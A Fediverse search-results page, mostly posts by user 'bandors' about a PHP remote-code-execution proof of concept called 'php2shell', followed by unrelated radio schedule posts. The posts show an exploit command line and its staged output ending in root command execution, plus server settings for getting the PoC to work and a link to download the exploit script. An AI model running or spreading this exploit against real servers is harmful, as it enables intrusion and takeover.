“bandors” — Fediverse search results on home.social

Timothy Ericsson AKA Bandors @bandors

2026-10-21

good night friends, have fun putting out fires.

Timothy Ericsson AKA Bandors @bandors

2026-10-21

You want to lower php_memory to like 25mb also

Timothy Ericsson AKA Bandors @bandors

2026-10-21

client_max_body_size 128M;
cwp / centos webpanel has has this default btw

Timothy Ericsson AKA Bandors @bandors

2026-10-21

you have to change one line in the weapon POC to get it to work btw

Timothy Ericsson AKA Bandors @bandors

2026-10-21

I got it working

python3 exploit.py http://127.0.0.1:8081/index.php --lab --profile low --command 'whoami'
php2shell weapon | profile=low files=20 namelen=1MB spray=150 leak=auto cmd='whoami' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

[arm ] body=25MB
[arm ] status=200 dt=60.10s OOM=False <- need pre-RINIT OOM to orphan

[p1 ] body=4MB
[p1 ] status=200 dt=0.04s OOM=False

[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=0.02s
[leak] no reflected banner pointer -> MARKER (ungated crash demo)
[call] no leak -> dtor=MARKER (ungated crash/marker receipt)
[call] dtor=0x4141414141414141 zend_call_function=0x4141414141355d51 (dtor-0xBE3F0) t[]=149 cmd='whoami'

[call] attempt 1/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=0.02s
[call] EXEC marker (uid=/root:) -> system() ran

Timothy Ericsson AKA Bandors @bandors

2026-10-21

If you're trying to get the POC to work, adjust this setting

client_max_body_size 100M;

Timothy Ericsson AKA Bandors @bandors

2026-10-21

debian repo has the patch, just apt update

Timothy Ericsson AKA Bandors @bandors

2026-10-21

brb I'm making a new POC

Timothy Ericsson AKA Bandors @bandors

2026-10-21

UNVERIFIED THREAT INTEL:

https://jackalsyn.com/posts/php-up-2026.html

with the missing php2shell_weapon.py

DL:
https://anonfilesnew.com/s/vB6g7hBU2hv

Timothy Ericsson AKA Bandors @bandors

2026-10-21

First one to drop a php2shell poc on here wins :P

Timothy Ericsson AKA Bandors @bandors

2026-10-21

First one with PoC for php2shell wins :)

Radio Regentrude @[email protected]

2026-10-21

🎶 #NowPlaying #RadioRegentrude
*= Moderiert | *= /w presenter

🕗️️️️️️️️️️️ 20:00 | 8 pm
* #Metal Roses mit Bandvorstellung und Urmeline

🕙️ 22:00 | 9 pm
* Radddthek mit Thorsten

🕚️️ 23:00 | 11 pm
* Radiothek #Rock Edition mit Thorsten

time=CEST UTC+2

🎧️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️ m3u (WinAmp, VLC & Co.):
https://login.streamplus.de/streamserver/public/36206.m3u

🎧️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️️ Webplayer
https://server36206.streamplus.de:11048/stream.mp3

➡️ https://radio-regentrude.de/

🇬🇧 English
https://www.radioregentrude.de/english/

#Radio #OnlineRadio #streaming #Musik #music #webradio #internetradio #musica #musique
#WeAreTheRadio #FediRadio #MastoRadio #TootRadio #musikken #news #artist #artists #musician #FreiesRadio #IndieRadio

#indieradio #freiesradio #musician #artists #artist #news

Radio Regentrude @[email protected]

2026-10-21

#OnAir 21.10. #NowPlaying
*= moderiert | *= /w presenter

11:00 #Dance Selection Co2 Promotion
13:00 #Rock #Blues #Country & more Selection Oktober Promotion HH
14:00 * Hexes Wundertüte
16:00 #Reggae Mix
18:00 * Bluestime mit Norbert Egger
20:00 * #Metal Roses mit Bandvorstellung und Urmeline
22:00 * Radiothek mit Thorsten
23:00 * Radiothek mit Thorsten heute rockig und etwas Country